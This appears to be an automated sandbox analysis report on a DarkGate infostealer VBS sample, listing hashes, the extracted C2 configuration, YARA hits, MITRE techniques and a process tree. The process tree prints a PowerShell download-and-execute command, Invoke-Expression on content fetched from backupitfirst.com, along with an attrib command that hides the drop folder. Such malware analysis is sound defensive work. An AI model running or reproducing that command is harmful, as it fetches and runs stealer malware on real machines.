darkgate | cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040

General

Target

Report-26-2024[1].vbs
Size

6KB
MD5

2a4b987fdbd42a6a5cfbfdc334ce634f
SHA1

9964d7287bb64f36231b751eb80608176fc8b687
SHA256

cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040
SHA512

4aabaf92a6bf309869ee2ab6eabb9081bb4b5fc57362d9b343fdc7e8eb010ef66512aa5e80056cdb9501f0602d413d325ccc81f1cff3ebe7756167d163d09b80
SSDEEP

192:QMg119gkCtL3IqSPN3QzGNzUoNK9V4nN9:Ly19gR3IquNgzG2oN7r

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

backupitfirst.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
SfUQxDje
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral1/memory/1572-64-0x0000000004980000-0x00000000049F3000-memory.dmp	family_darkgate_v6
behavioral1/memory/1572-65-0x0000000004980000-0x00000000049F3000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	3288	powershell.exe
4	3288	powershell.exe
5	3288	powershell.exe
6	3288	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1572	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3288	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 3288	1328	WScript.exe	73
PID 1328 wrote to memory of 3288	1328	WScript.exe	73
PID 3288 wrote to memory of 1572	3288	powershell.exe	75
PID 3288 wrote to memory of 1572	3288	powershell.exe	75
PID 3288 wrote to memory of 1572	3288	powershell.exe	75
PID 3288 wrote to memory of 708	3288	powershell.exe	76
PID 3288 wrote to memory of 708	3288	powershell.exe	76

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
708	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report-26-2024[1].vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\rqzo\AutoHotkey.exe
    "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:1572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rqzo/
    3⤵
    - Views/modifies file attributes
    PID:708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvikc33i.30m.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\rqzo\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

Download Submit
C:\rqzo\script.ahk

Filesize
56KB

MD5
cc881012bc30b053b9e6b763f4fff1ed

SHA1
ac366539edd526b083f630828090a519812f72f9

SHA256
08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6

SHA512
3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d

Download Submit
C:\rqzo\test.txt

Filesize
916KB

MD5
5c3a3407c64b7585324a29a08005a3a8

SHA1
956a7788aa0e397e973ab5623d4aae73b1ca2658

SHA256
89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40

SHA512
fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb

Download Submit
memory/1572-65-0x0000000004980000-0x00000000049F3000-memory.dmp

Filesize
460KB

Download
memory/1572-64-0x0000000004980000-0x00000000049F3000-memory.dmp

Filesize
460KB

Download
memory/3288-7-0x0000018CFD290000-0x0000018CFD2A0000-memory.dmp

Filesize
64KB

Download
memory/3288-30-0x0000018CFDD40000-0x0000018CFDF02000-memory.dmp

Filesize
1.8MB

Download
memory/3288-25-0x0000018CFD290000-0x0000018CFD2A0000-memory.dmp

Filesize
64KB

Download
memory/3288-10-0x0000018CFD650000-0x0000018CFD6C6000-memory.dmp

Filesize
472KB

Download
memory/3288-4-0x0000018CFDA10000-0x0000018CFDA32000-memory.dmp

Filesize
136KB

Download
memory/3288-62-0x00007FFE0D8E0000-0x00007FFE0E2CC000-memory.dmp

Filesize
9.9MB

Download
memory/3288-9-0x0000018CFD290000-0x0000018CFD2A0000-memory.dmp

Filesize
64KB

Download
memory/3288-5-0x00007FFE0D8E0000-0x00007FFE0E2CC000-memory.dmp

Filesize
9.9MB

Download

Analysis

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